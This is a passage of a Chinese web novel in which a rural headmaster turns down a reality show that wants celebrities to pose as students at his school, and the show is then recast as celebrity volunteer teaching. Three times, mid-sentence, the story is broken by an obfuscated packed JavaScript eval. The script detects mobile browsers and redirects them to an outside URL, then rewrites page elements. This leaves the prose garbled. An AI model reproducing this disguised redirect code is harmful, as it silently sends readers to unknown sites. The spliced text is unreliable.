洛河头子：「其实我本来没想到这辈子还有机会和程景逸再见面，只打算远远地看着他，就这样通过捐款默默地支持他，既是报答当年他帮助我的恩情，也算是全了我曾经想要当老师的心愿。」 吴焕晗在另一头恨铁不成钢，直接发了句语音过来：“容清洛你个榆木脑袋，别死脑筋啦。真论起来，你认识程景逸的时间可比认识晏先生要早。老天送你的机会你可不要错过！” 容清洛在心里默默反驳。 虽然她认识程景逸的时间要比认识晏行铮的时间要早一些，可是曾经漫长的多年时光里，陪在她身边的，不是程景逸，而是晏行铮。 吴焕晗见容清洛半天没回复，又语重心长地打下几行字。 吴老师：「这次你小号被爆出来，虽然无端生出很多波折，但是也带来许多转机。」 吴老师：「洛洛，这是天意！」 吴老师：「是天意在成全你的一片心！」 容清洛确实有些想去正宁中学看一看，但不是单纯地见程景逸。 她还想看看那所学校。 看看那里的孩子们。 看看她是否真正地帮助了他们。 122. 一壶清酒 自从程景逸在正宁中学的官方账号上发表感谢视频之后，容清洛的这一次舆论危机才算是安全渡过。 容清洛还在剧组里拍摄《暗光》，每天忙碌得脚不沾地。 李导平日里很温和，但是在工作上却十分严格。 在他组里拍戏的演员基本上都不能请假，容清洛当然也无法例外。 为此，在容清洛再三的拜托之下，陈宫飞到西华市，转火车，乘公交，辗转颠簸终于来到古泉县的青山镇，准备到正宁中学亲自拜访自家艺人口中的程校长，并表达感谢。 然而，此时正宁中学的校长办公室里，气氛却有一丝不同寻常。 分管政教处的张副校长拿着茶杯走进来，笑道：“程校长，你可真敬业。才出完差，今天早上刚回镇上吧，也不在家休息一下。立马就来学校，你这么尽职尽责，可真叫我们这些老家伙汗颜。 程景逸坐在办公桌后面，指着一旁的沙发对张世道：“张校，你就别打趣我了，我年轻，不比你经验丰富，自然要下点笨功夫。我也就是做好本职工作罢了。咱们一切都是为了学校和学生们。你先坐。” “程校长说的是。”张世坐下，对一旁分管办公室的董副校长微微一笑，寒暄道，“董校，你也在啊。” 董华瞪了张世一眼，本来不想搭理对方，静默两秒，见程景逸笑着注视着他俩，到底还是从鼻子里不情不愿地哼出一口气来：“嗯。” 接着又阴阳怪气道：“正等你呢。” 程景逸起身，坐到两人对面的沙发上：“张校，找你来，是有一件事要找你了解一下。刚刚董校来找我说，我不在的这段时间里，有个校园综艺来找学校谈合作，是你们二位一起接洽的？” 张世已经猜到程景逸找自己就是为了这件事。 他把茶杯搁在茶几上，点头道：“对，那个综艺叫《青衿与长衫》，导演叫邱锐。” 说到这里他向董华递过去一个目光。 偏偏董华不接话，张世只得继续道：“听我手底下那些年轻老师说，这人还挺有名。江台之前很火的那个户外真人秀就是他拍的，很多年轻人喜欢看。” “前段时间，给咱们学校捐款的匿名好心人终于找到，竟然是大明星容清洛。托她的福，我们学校也算是有了一些知名度。邱导就是看上这个才找到我们正宁，想在我们这里拍他目前还在筹划中的一档综艺。” 程景逸直截了当地问道：“这档综艺是做什么的？” 张世：“邱导当时说了一大堆他那个领域的专业词汇，我也记不太住。就我的理解而言，这档综艺就是明星进校园，体验现在学生的高中生活，重温青春岁月。简而言之就是一个明星校园体验真人秀。” 程景逸挑眉：“哦，角色扮演高中生。” 张世笑道：“是这么回事儿，程校长你这言简意赅，概括出精髓来了。” 程景逸轻笑：“那你们答应了？” 张世眼珠一转，摆手道：“嗐，程校长，当时你和宋校都在外地学习，钟校又一向不管这种事。人家节目组的导演专程来谈合作，诚意十足。俗话说伸手不打笑脸人，我们也不好拒人于千里之外，总得听人家具体说说来意嘛。所以我和董校就一起接见了邱导。” 他拍了董华一下，又道：“董校，那天你和邱导聊得也挺好，是吧？” 被点名的董华终于开口：“是，邱导是个实在人，直接说是看中了容清洛捐款我们学校这件事的热度，所以想把综艺的地方定在正宁。” “并且承诺，如果学校同意成为综艺的取景地，费用会按照市价的最高来给我们。另外，播出之后如果反响好的话，节目组还会给正宁追加一笔捐款。整个拍摄周期大概是一个月。” “我们学校的建设和改革正需要钱，所以我认为这是个可以考虑的项目。” 程景逸：“那现在，你们谈到哪一步了？” 张世：“因为邱导目前还在筹备当中，很多细节也还没确定，所以我们只是大概了解了一下这个综艺项目的整体计划和安排，有了一些合……” 注意到程景逸的眼神，张世改口道：“有了一些和这个综艺相关的想法。但是我们暂时还没有接受邱导抛出的橄榄枝，想着等你回来之后，听听你的意见。说到底，最终还是得程校长你拍板决定。” 说完，他又补充道：“我和老董是觉得，这个机会很不错，既可以得到一大笔费用，用以校园建设，还可以为学校做宣传，说不定以后还会有更多的社会好心人来为正宁捐款呢。” 程景逸靠在沙发上，修长的手指摩挲着扶手。 他静静地听完张副校长的长篇大论，回想着刚刚董副校长的话语，沉吟半晌。 片刻，他带着笑意和缓道：“听二位校长这么说，这个综艺倒像是个天上掉下来的馅饼，百利而无一害，得赶紧抓住喽。” 说到这里，他双眼微眯，问道：“是吗？” 话尾拖着长音，让张世和董华的心都跟着双双揪起。 张世搭在腿上的手一紧，熨得齐整的衣料都被他捏皱。 如果他没记岔的话，这程校长今年才刚刚三十吧？ 气场竟然这般强大。 这笑容怎么这么让他不寒而栗？ 求求这位程大校长可别笑了，再笑他心脏病要犯了。 旁边的董华眉头一皱，扭过脸来，面无表情地拍掉张世的手。 张世这才发现，自己刚刚捏错腿了，怪不得不疼。 他思索片刻，觉得不能让空气一直弥漫着这样奇怪的氛围，便问道：“程校长，你是觉得这个综艺有什么不妥吗？” 程景逸轻叹道：“咱们青山镇地处偏远，在深山之中。正宁的资金紧张不是一年两年的问题，这么多年能支撑下来，多亏了一代又一代老师的努力。” “二位校长多年来恪尽职守，为此的付出，我都看在眼里，记在心上。” “董校，张校，你们辛苦了。所以对于综艺这个机会，你们很想抓住，我能理解，也很明白你们为学校考虑的心。” 这话叫人熨帖，张世和董华的心里稍稍舒坦一些，不过他们都在等着程景逸的后文。 “只是，”程景逸话锋一转，又道，“董校，张校，你们有没有考虑过学生们的感受？” 张世和董华对视一眼，都没有说话。 程景逸：“咱们作为校领导，作为学校这个大航轮的掌舵人，确实要站在宏观的大层面来考虑整个学校的长远发展，这无可厚非。” “但是学校这个大机构里面，微观层面每个学生个人的命运，难道我们就可以弃之不顾了吗？” 程景逸讲这句话时声音很轻，他甚至面色都未改变，嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582655|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边还带着笑意。 可是这话听在两位副校长耳中，却份量颇重。 董华有点不服气，辩解道：“程校长，你看这话说的，我们怎么没为学生考虑了？学校得到资金后，把校园建设得更好，引进更好的师资力量，不都是在提升学生们的学习资源和学习环境？这难道还不够吗？” 张世附和道：“是呀，学生切切实实可以受惠于此。” 还顺便开玩笑道：“这天热得人煎熬，程校长可别给我们扣帽子啊，我们这上了岁数，可受不了。” 程景逸收起唇边微笑，正色道：“张校，董校，你们这说的都是以后。” “而我要说的，是现在。”程景逸的眼神变得犀利，一寸寸扫过张世和董华的面容。 “如果这档综艺在正宁录制。在录制综艺的一个月里，这些明星、节目组的工作人员等等闲杂人等，全部都在学校里乱窜。” 他一字一句，掷地有声地诘问道：“我只问二位，你们口口声声说着未来到正宁读书的那些学生可能享受到的那些八字还没有一撇的好处时，为什么不想一想那些现在正就读于我们学校的活生生的学生呢？他们这些人，你们就都不管了吗？” “读我们学校的学生，他们的父母里，只有极少数是在单位里做着体面的工作。大部分学生的家长，都只是镇上很普通的老百姓。” “务农的，开小商铺的，外地打工的，在家下岗的，残疾的，卧病在床的，什么情况的都有。” “我们不提倡唯学历论，读书好的人并没有比谁高一等，读书不好的人也不必在谁面前矮一头。每个人都有自己的天赋和其价值所在。” “但是，在我们青山镇这样的地方，知识和学历对于这些普通家庭出身的学生而言，是真的很重要。” “这不是在大城市，发达地区的学生可以有很多选择。可是对于我们这里的学生而言，高考就是改变人生的第一把钥匙，是能让他们走出这座大山的第一座桥梁。” “在对他们这么重要的高中时期，二位和我说，学校为了点资金，要浪费学生宝贵的一个月时间去和那个什么破娱乐节目玩过家家的高中生扮演游戏？”程景逸冷笑一声，“真是滑天下之大稽。这是在逗谁玩儿呢？二位摸摸自己的良心，过得去吗？” 董华的脸被程景逸的这一番话臊得通红，只得道：“这确实我们也没考虑到。” 张世嘴皮子微颤，还准备再挣扎一下，说道：“邱导说这个节目不会邀请很多嘉宾，拍摄的时候也会限定在一两个班级。那我们挑两个高一年级的普通班，再跟节目组限制一下进入校园的人数，只是拍摄几周，想来对学生也不会产生很大的影响吧。” 程景逸勾起嘴角，眼里却没有温度：“普通班的学生很低贱吗？一寸光阴一寸金。他们的生命和时间不值钱吗，低人一等吗？” 张世吃了个瘪，便也不再开口，端起茶几上的水杯低头喝水。 程景逸见两人都沉默不语，便道：“张校，董校，咱们呢，就事论事，说任何话都是对事不对人。” “关于这个综艺，我言尽于此。希望二位再回去好好考虑考虑。” “时候不早了，嫂子们都在家里等着二位吃午饭呢吧，我就不留你们了。之后我们找时间再讨论一下。咱们不搞一言堂，最终这个还是需要大家一起拿主意。” 123. 一壶清酒 张世和董华两人从校长办公室出来，刚一拐弯，他们脸上扬起的笑容就平了下来，面色都不太好看。 董华张口想说什么，被张世制止住：“到我办公室再说。” 两人便一路沉默着走进张世的副校长办公室。 关好门后，董华道：“老哥你可真不够意思，说好的一起来找程校长说综艺的事，结果我去了你人却没到。要不是后来程校长在手机上联系你，你今天压根不打算来吧？” 他质问道：“你是不是早就算准了程校长不会同意，专门让我来碰这个钉子？” “你这么搞，不地道啊，老张！” 张世哥俩好地揽住董华的肩膀，安抚道：“老董，我早上有点事耽误了，一看到你和程景逸的消息，这不立马就来了嘛。” 董华把张世搭在他肩上的手打掉：“老张你就坑我吧。” 张世说道：“咱们哥俩，你还和我计较这个？” “说起来，程景逸还真是不给我们两人面子，咱们即便职位比他低，好歹也是个副校长吧，他就那样和我们说话，瞧不起谁呢？” 他冷哼一声，狠狠道：“俗话说登高必跌重。他这么年轻当个校长，底下人服不服气，他这个位置坐不坐得稳、待不待得长久，都还另说呢。” 话毕，张世脸上露出愤愤的神色。 突然意识到还在学校，他又换了一副表情，掩去面上的不满。 听到张世抱怨程景逸的话，董华安慰道：“今天这情况其实还行，程校长够给我俩面子的了。程景逸这个人，他刚来正宁还是个普通老师的时候就这个脾气，那时候你就该知道他是个什么人了。” 张世坐下来：“这姓程的是什么脾气秉性的人我当然知道。” 他低声骂道：“平日里看着人模狗样、文质彬彬的，遇上他觉得不对的事儿了，甭管对面是多大的领导，他都敢指着鼻子骂。” 张世从口袋里拿出一块手帕擦擦额头的汗：“他指着上一任韩校长骂的那幅场景，我到现在都还记忆犹新、历历在目。” “可人家就是运气好，我们在这儿兢兢业业、老老实实熬了大半辈子，还只是个副校长。韩老校长一调走，临了还把这个骂他的人提上校长之位。我也是搞不懂，老校长是怎么想的。” 说道这里，张世似是回忆起什么，喃喃道：“韩老校长也是个臭脾气，估摸着两个臭脾气的人在一块儿看对眼了吧。” 董华挑眉道：“这得看你从哪个角度来说，如果发火的对象不是自己，他们这种性格也可以换几个好听的词。” “比如韩老校长那是刚正不阿，程校长这是嫉恶如仇。而且程校长确实有能力，你没见他接手的这几年，正宁发展地越来越好吗？” “我仔细想了下，刚刚程校长说的话其实不无道理，”董华又道，“我们确实不能只考虑未来可能收获的好处，却忽略了现在的学生。每个学生的高中时光都只有一次，这一次都是宝贵且无价的。不能拿现在来换未来，这是慷他人之慨。” 张世摇头无奈道：“行吧，你已经被程景逸洗脑了，我不和你说。我去见邱导，让邱导去做程景逸的工作。” 董华疑惑：“邱导不是上周就已经走了吗？” 张世嗤笑：“毕竟咱们不能完全做主。人家当然要找能够做主的人。” “邱导听说程景逸今天回青山镇，专程又来了，就今天上午到。我早上本来是去接邱导的，结果没见到邱导的面，他电话里说碰见熟人了要聊一聊，晚点直接来学校见，所以我就回来了。” 董华：“邱导在咱们青山镇能有什么熟人？他不是咱们这儿的人吧？” 张世冷笑：“那我哪儿知道。反正邱导还会再找程景逸谈这个事。我倒要看看，在邱导面前，程景逸还能不能如在你我二人面前这般冷情、这般坚决。” *** 此时已到中午，青山镇长途汽车站附近，一家旅馆的客房里，经纪人陈宫坐在桌前。 她从塑料袋里把打包的饭菜一个一个拿出并摆好，准备开吃。 桌面上还立着一个平板，屏幕上是视频通话的界面，对面的人正是容清洛。 陈宫喝下一口热汤，瞬间感觉胃里的不舒服散去大半：“终于吃上口热乎的饭了。” 容清洛在片场，恰好也在吃饭，瞧着对面的三菜一汤，再看看自己面前的减肥餐，幽幽道：“宫姐你这整得还挺丰盛。” 陈宫虽然在吃饭，却不影响她飞快的语速：“隔壁小餐馆打包的。早上没吃，饿了一上午。刚刚才找到一家旅馆住下。我得好好休整休整，再去见你的程校长。” 容清洛看着屏幕对面的经纪人，说道：“宫姐辛苦了。如果不是焕焕这几天不在青山镇，她其实可以去接你的。” “她之前就和我提过想到正宁，我还以为她开玩笑呢，没想到真去了。” “只是她到正宁的时候已经临近学期末，也没有班可以带。恰好省里有培训名额，她被派到省里学习，才走没两天，你们就这么错过了。” 陈宫摆手道：“没事，不用麻烦你朋友。我一个人可以的。” 容清洛瞥见屏幕右上角的时间，反应过来，纳罕道：“不对呀宫姐，你不是九点多就到青山镇了吗？这会儿都快一点了，怎么才安顿好？” 陈宫：“找旅馆耽误了一些时间。” 容清洛：“手机软件上没办法预定吗？” 陈宫：“各个软件都试过了，青山镇好像就没有酒店。我只能到这边现找旅馆。本来我估摸着，长途汽车站附近一般都有住处，所以没太担心。结果还是大意了。我到这边才发现，旅馆倒是有，就是需要好好挑选。” “我可是换了好几家才定的这家，这儿虽然条件一般，但还能住。” 容清洛：“等宫姐你回来，我请你吃顿好的。” “行，先记下了。”陈宫随口答应，突然想起什么，她脸上露出神秘的笑容，说道，“不过，今天上午耽误这么久，最重要的原因其实是有奇遇。清洛，你猜我在这边遇见谁了？” 容清洛好奇：“谁呀？” 陈宫两眼放光：“邱锐。” 听到这个名字，容清洛被呛住，一口汤差点喷出来：“谁？你说邱导？是我认识的那个邱导吗？” 陈宫笑：“不是他还有谁。” 容清洛追忆往事，感慨道：“当年我们团解散后，有一段时间我一直被骂冷脸，很是低沉了一阵子。如果不是邱导的《韶光之旅》让我人气飙升，可能还得多熬几年。” 她有些疑惑：“邱导怎么会去青山镇，他在那边有综艺要拍？没听说呀。” 陈宫解释道：“他最近在筹备一个新综艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583995|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，叫《青衿与长衫》，是一档校园综艺。他这次来是到青山镇考察，想找个取景地。” “我们上午聊了会儿，邱导有意向邀请你参加这个新综艺。” 容清洛：“校园综艺？” 陈宫：“对，就是明星在学校体验学生的生活。” 容清洛扶额：“邱导不会打算在正宁拍吧？” 陈宫点头：“你还真猜对了。” 容清洛叹气：“那邱导可能要失望了。程景逸肯定不会同意。” 陈宫诧异道：“你怎么知道？而且为什么？邱导给的报酬可不少。正宁之前不是缺钱，还需要你捐款的吗？” 容清洛啧啧开口，意味深长：“宫姐，你不懂。” “要是这档综艺是明星扮演老师去支教这种方式，程景逸还有可能同意，甚至还有一定的几率会挺支持。” “但是邱导现在想让明星在学校扮高中生体验生活？别的学校可能行。程景逸却肯定不会赞成这种方式的综艺在他的学校里录制。” “钱和学生，他肯定把学生排在前面。” 陈宫兴奋道：“这么笃定？刚好我和邱导约着下午一起去见程校长，咱们拭目以待，我还真挺好奇程校长会怎么选。” 容清洛盖上饭盒道：“我已经看见结局。” 陈宫摇摇头，语重心长：“事情的发展总是难以预料的，你又没有在现实生活中接触过程校长，你怎么就能这么确定他是哪种人呢？” 容清洛静默几秒，想要反驳，却蓦然发现，自己竟然无法辩驳，只好道：“反正宫姐你今天去见程景逸不就是要给正宁送钱的嘛，正宁中学有我这个财神就够了。做人太贪心可不好。” 容清洛扣着饭盒的边缘，慢慢说道：“如果程景逸答应在正宁录综艺，这钱你就先不捐了，回头再说。” 陈宫不由得好笑：“清洛，这可不像你。以前也没见你这样，想一出是一出，像个没长大的小孩子。” 她提醒容清洛：“你不打算感谢程校长了？” 容清洛扬眉：“邱导不是邀请我去录《青衿与长衫》吗？如果程景逸答应邱导，那这档综艺我就接了。” “我亲自给他送热度。” 顺便看看，现在的程景逸和记忆里的他，到底变了多少。 陈宫笑得促狭：“清洛，你不对劲。” “不过呢，”她放下筷子，站起身，开始收拾桌上的餐盒，“挺好的，感觉你整个人比以前更鲜活一些。” 容清洛不解：“有吗？” 陈宫摩拳擦掌，眼神里带着跃跃欲试：“我今天下午一定要好好去会会这个让我们顶流小姐三番五次慷慨解囊、一掷千金的程校长，瞧瞧他到底是比我们平常人多了几只眼睛、几张嘴，怎么就这么有魅力、这么招人喜欢，让人连面都不曾见过就恨不得把星星月亮都给捧到面前。” “唉，女大不中留啊，我这个心呀，真是拔凉拔凉的……” 说完，她就在某人恼羞成怒以前立马结束视频，末了还打字发过去一句话。 「晚上回来告诉你后续哟」 容清洛没理会陈宫的玩笑打趣，只发过去一张大大的微笑。 故友久别重逢嘛，心情多少有点不一样。 但是再多的，应该也没有吧。 容清洛扪心自问，陷入沉思。 124. 一壶清酒 下午三点，正宁中学的校长办公室门口，邱锐和陈宫轻轻敲门。 里面传来温润的男声：“请进。” 邱锐推开门，十分客气地打招呼：“程校长你好，我是综艺《青衿与长衫》的导演，邱锐。” 陈宫紧随其后，端庄大方：“我是容清洛的经纪人陈宫，程校长你好。” 程景逸起身迎接，面上带着一贯的温和笑容，和两人握手道：“邱导好，陈总好，二位远道而来，真是让程某这间小小的陋室蓬荜生辉，快请坐。” 邱锐和陈宫落座，程景逸一边给两人泡茶，一边笑道：“我这里都是粗茶，招待不周，还望海涵。” 待几人坐定，他问道：“二位一起光临我校，不知有何贵干？” 邱锐示意陈宫先说：“女士优先吧。” 陈宫心里惦记着容清洛交代的任务，自然要先观察邱导和程校长之间有关综艺的磋商，是以她笑道：“邱导找程校长是有正事，你们先谈。我这边是代表我家艺人的一点私事，可以晚一点和程校长聊。” 邱锐便也不再推辞，开门见山道：“此次前来，主要是想就在正宁中学拍摄校园综艺一事取得程校长的首肯。这档综艺叫《青衿与长衫》。” 讲到这里，他诚恳笑道：“其实我上周也来过，只是当时程校长你不在，听说你今天回来，我特意又赶来，就是想让贵校感受到我们综艺节目组的诚意。有关综艺具体的事项不知道贵校的两位副校长和程校长你提过吗？” 程景逸颔首：“我特别感谢贵节目对我们正宁中学的垂青和厚爱。董校和张校今天都专门和我提过录制综艺这件事情，我也看了邱导上周留下的项目材料。” 邱锐点头：“不知道程校长意下如何？” 程景逸：“我想先请问邱导一个问题，全国各地的学校多如牛毛，符合贵节目要求的学校应该也比比皆是，你们为什么选择正宁中学？我需要一个理由。” 邱锐哈哈一笑：“程校长很直接，那我也不绕弯子。主要是因为正宁中学最近在网络上的讨论度确实很高，而且这里地处大山，拍摄时外界的干扰相对会少一些。” “相信综艺播出之后，会有更多的人注意到正宁中学，那么，社会上就会有更多的好心人向正宁捐款。再加上我们在这里取景肯定也会支付一笔很可观的费用。” “如此一来，贵校会名利双收，而综艺获得热度，咱们实在是双赢。” 看见一旁的陈宫捧着茶杯喝茶，邱锐补充道：“当然还有一个原因，就是我们打算邀请容清洛当嘉宾，和容清洛最配的学校，当然要属正宁中学。” “综上，我们在筹划这档校园综艺时，都认为取景地的首选就是贵校。” 邱锐：“程校长觉得，这样的理由合适吗？” 程景逸委婉道：“邱导，其实对学校而言，最重要的始终是学生。” “我们在考虑学校的各项发展时，永远把学生摆在第一位。” 陈宫眼皮一跳。 这话怎么这么耳熟？ 相同的意思，容清洛中午才在她的耳边说过。 不会真叫清洛说对了吧？ 程校长不会真的要拒绝吧？ 只听程景逸继续道：“如果学校名利双收的代价是影响到学生的学业和发展，那么，这样的名是恶名，这样的利是不义之利。” “这实在不是邱导口中所说的双赢。” “所以这样的理由，实话说，不太合适。” 讲到这里，程景逸脸上露出歉意，又道：“邱导，不好意思，我讲话比较直接。” “主要学校就不是谈利益的地方。” “我们这里不是培训机构。正宁中学是国家的公办学校。我们办学的首要目的是教书育人，为国家培养人才，帮助学生塑造完善的人格。” “为了利益牺牲学生诉求的，起码不会是我程景逸手底下的学校。” “邱导实在是来错地方了。” 邱锐愕然：“程校长这话是否有些危言耸听，只是录个节目而已，怎么会上升到恶名和不义之利的地步，我们是很正规的节目。” “我想，邱导你误会了我的意思。”程景逸说道，“邱导，我们一起来想象一下，如果贵综艺在我们学校录制，在录制的这一个月里，正宁会发生什么。” “毫无疑问，综艺拍摄肯定会影响到任课教师的讲课进度，并且会在一定程度上侵占普通学生的学习时间。此外，像明星粉丝聚集校外引起安全隐患、节目播出后网友的恶意评论对学生造成心灵伤害等等，这些都是可能存在的问题。” “作为教育工作者，我实在是不能、也不敢，拿学生的学业以及身心健康来冒险。” “另外，节目组与明星们的入驻，对正宁的各班级，尤其是对于明星作为插班生所待的班级而言，冲击无疑是巨大的。” “邱导不了解我们这里，这里的孩子们长这么大，可能去的最远的地方就是西华市的市区，连去过省会的都很少。当然不排除个别学生家庭条件好，有例外。但是大部分都是我说的这种情况。” “对于他们而言，只能在荧幕上见到的那些光鲜亮丽的明星突然出现在生活中，这种刺激所引发的骚动可能很久都不能消散。” “他们会产生许许多多的疑问。” “为什么外面的世界那样繁华，而这里的人们却这样贫穷？” “为什么人生而不平等？” “为什么人和人之间的差距这样大？” “自己这辈子是否怎样追赶都无法比得上那些出生在罗马的人？” “在这种巨大反差的对比之下，他们在学业上的专注力会受到极大的影响，甚至会有可能质疑人的生命存在的意义、失去为了梦想而奋斗的动力。” “这对思想还不够成熟的中学生而言，无疑是晴天霹雳，当头一棒。” “邱导，陈总，我这绝不是危言耸听。” 邱锐没想到程景逸考虑的会是这方面的问题：“程校长的回答让我……很意外。” 程景逸苦笑：“其实我还有一点私心。” “我要先申明，我接下来这个话绝不是针对二位，希望二位不要觉得被冒犯。” “我只是想向你们诉说我作为一名普通中学校长的心。” “高中三年是一个人形成世界观、人生观、价值观的重要时期。” “作为这些孩子们的老师，我有责任有义务帮助他们塑造正确的三观，为他们高中三年里的成长和身心健康保驾护航。” “我真的希望这些孩子们都能够好好学习。不用人人的成绩都多么优秀，但是要学知识、学文化、学本领，要增长智慧，以后更要学能立足于社会的一技之长。” “我盼望着他们通过高考走出这座大山，翻山越岭见到更广阔的天地，融入更博大的世界。” “这个世界很阔大，有美好，有不堪，有着形形色色的人和事。他们将来终究要自己去探索，去体会，去经历，去挣扎。但我希望，这个认识世界的时间点是在高考之后，是在大学里，是在步入工作以后，而唯独不是现在。” “对现在的他们而言，如此简单的成长环境之下，他们都很单纯，很容易受外界的影响而走错路。我不希望他们在这个年龄被娱乐圈的五光十色迷住眼睛，不希望他们认为靠着脸蛋和身材就可以在这个社会上立足， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583996|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更害怕这些外界的因素影响到他们备战高考的状态。” “我为此深深地忧虑。” “如果这个话有让二位觉得不舒服的地方，程某给二位道歉。只是这番话，我，不得不说。” 静默。 小小的办公室里，时间仿佛在这一刻凝滞。 半晌，陈宫感佩不已道：“程校长真是师者仁心。我是个母亲，如果我的孩子能够遇见你这样的老师，我还有什么不放心的。你对学生的一片赤诚之心，我真的能够理解。” 邱锐沉吟良久，说道：“程校长，你说的这些其实也不是没有解决的办法。” “我们在选择艺人的时候会慎之又慎地筛选，最后只会让品德好、能力强的正能量优秀艺人来录制节目。并且在正式录制以前，会对节目组的工作人员和艺人统一进行短期培训和教育，一定不让他们在学生们面前做出任何可能造成不良影响的事。” “你看这样可以吗，程校长？” 程景逸本以为话都说到这个份上，邱导应该会改变在正宁拍摄综艺的想法。 没想到邱导还在坚持。 其实确实不能一杆子打翻一船人，程景逸心想。 尤其站在他的角度，如果对明星有偏见，就颇有种端起碗吃肉、放下筷子骂娘的感觉。 毕竟容清洛这位顶流女明星可是给他的学校捐了这么多钱。 容清洛对正宁中学的师生而言，确确实实是有恩的。 这么想着，程景逸突然就庆幸起来。 幸好今天来的是邱导和陈总，要是容小姐亲自来…… 他可能实在没有办法像现在这般坚定地拒绝。 程景逸：“邱导既然这般坦诚，我就再和你说几句掏心窝子的话。” “教师绝不仅仅只是一个普普通通只为养家糊口的职业。” “这个职业极有可能会在每个孩子最重要的成长阶段留下一生都不可磨灭的印迹。” “这个印迹究竟是好的，还是坏的，这取决于教师本人的道德感和责任感。” “不论当初是出于何种原因选择了这份职业，既然站在了三尺讲台上，便不得不承担起这一份厚重的责任。” “我想，不光是我们在学校当老师的会有这样的考量和顾虑，你们娱乐圈作为比我们更容易对社会传递信息的地方，邱导，你们做节目的时候，肯定也都会考虑社会影响。” “毕竟，你们做的不仅仅只是一个普通的节目，随随便便一期节目通过电视、通过网络便能让世界上的许多观众都看见，其中所传播的价值观念和对社会的影响，要比我们这些普通人要更远、更广。所以说，你们肩上担的责任，也不轻。不仅对内要考虑对观众的价值导向，对外还要考虑国家形象的塑造。” “其实人真正想要担负起责任以后，考量得只会越来越多。” “这个社会中，无论大家是什么职业，做的是怎样的工作，只要是身处可能对社会中许许多多的其他人产生影响的位置，我们是不是都应该要慎重、慎重、再慎重一些？” “一旦你的一个看似微小的决定便会影响到某个也许你根本就不认识的人的人生和命运，你在工作时，是不是应该避免疏漏，更加认真负责一些？你在做决定时，是不是应该考量深远，看得更加全面一些？” “这是我们每个人都应该承担起的社会责任。” “因为有些不良影响所引发的恶果，你承担不起。” “有些债，有些因果，也许几辈子都还不清。” “因此，当牵一发而动全身时，我们考虑得多细致都不为过。” “邱导，你觉得我刚刚所言，是也不是？” 125. 一壶清酒 邱锐：“事儿确实是这么个事儿，道理也确实是这个道理……” 他迟疑着没有说下去，却在心中已经开始了吐槽。 关键是，大家做事时谁会想这么多呢？ 不就是挣个钱而已，上面的人挣大钱，下面的人挣小钱，大家都能填饱肚子，塞满荷包，每个人都有工作，不至于失业，这不就行了？ 哪里管得了这么许多。 他算是明白了，这位程校长就是个空想家。 邱锐在心里冷笑，这人怕是根本就没走出过象牙塔，一辈子都在学校里学习、工作，把这人丢进社会里摸爬滚打一番，就不会再是这种调调了，这就是根本没遭受过社会毒打的人才会说出的话。 程景逸没再言语。 他的沉默在邱锐和陈宫看来就是委婉的推辞。 眼见邱锐和程景逸二人在综艺这个话题上要谈崩，容清洛中午说的话在陈宫的脑海里飞快地闪过。 「要是这档综艺是明星扮演老师去支教这种方式，程景逸还有可能同意，甚至还有一定的几率会挺支持。」 「但是邱导现在想让明星在学校扮高中生体验生活？别的学校可能行。程景逸却肯定不会赞成这种方式的综艺在他的学校里录制。」 「钱和学生，他肯定把学生排在前面。」 基本上容清洛的每一句话都验证了。 这一刻，陈宫的内心情感十分的复杂。 她到底是应该夸赞自己的艺人机智过人呢？还是应该忧伤这个艺人藏着没有告诉她的小秘密？ 陈宫几乎可以百分之百地肯定，容清洛和程景逸之间，关系不简单。 她说话向来严谨，一般不会这样打保票。 但是…… 容清洛太反常了。 她对从未真正见过面的人，怎么会这样的熟悉？并且做出如此准确的判断？ 这样电光火石的思考间，陈宫的心里突然升起一股试探和检验的冲动。 她想着容清洛对程景逸的判断，咬咬牙，打破几人之间的静默，对二人说道：“邱导，程校长，我有一个想法，不过我毕竟不是这方面的专业人士，我姑妄言之，你们也就姑妄听之，行吗？” 邱锐摆手：“你说就是。” 程景逸也一副洗耳恭听的模样。 陈宫提出建议：“你们看，有没有一种可能，艺人在综艺中的角色不是作为学生来体验高中生活，而是作为支教老师来给学生们上选修课？” 邱锐本来有些失望，以为这趟的青山镇之行要以失败告终。 此时听到陈宫的点子，大概在思考了这种模式的可行性之后，邱锐的眼睛一下子亮起来。 他立马表态：“我认为这是一个很好的方向，很新颖。而且《青衿与长衫》本来也还在策划阶段，没最终定下来之前，一切都还可以改。” “明星支教……这种方式其实还和综艺的名字《青衿与长衫》更适配一些，我们需要回去再讨论一下。不过我个人认为，能实施的可能性很大。” 程景逸双手交握抵住下颚，露出深思的神色。 沉吟半晌，他开口：“邱导，对于明星支教，我很有兴趣。你们如果就此做出新的策划方案，不知道能否让我看一下？” 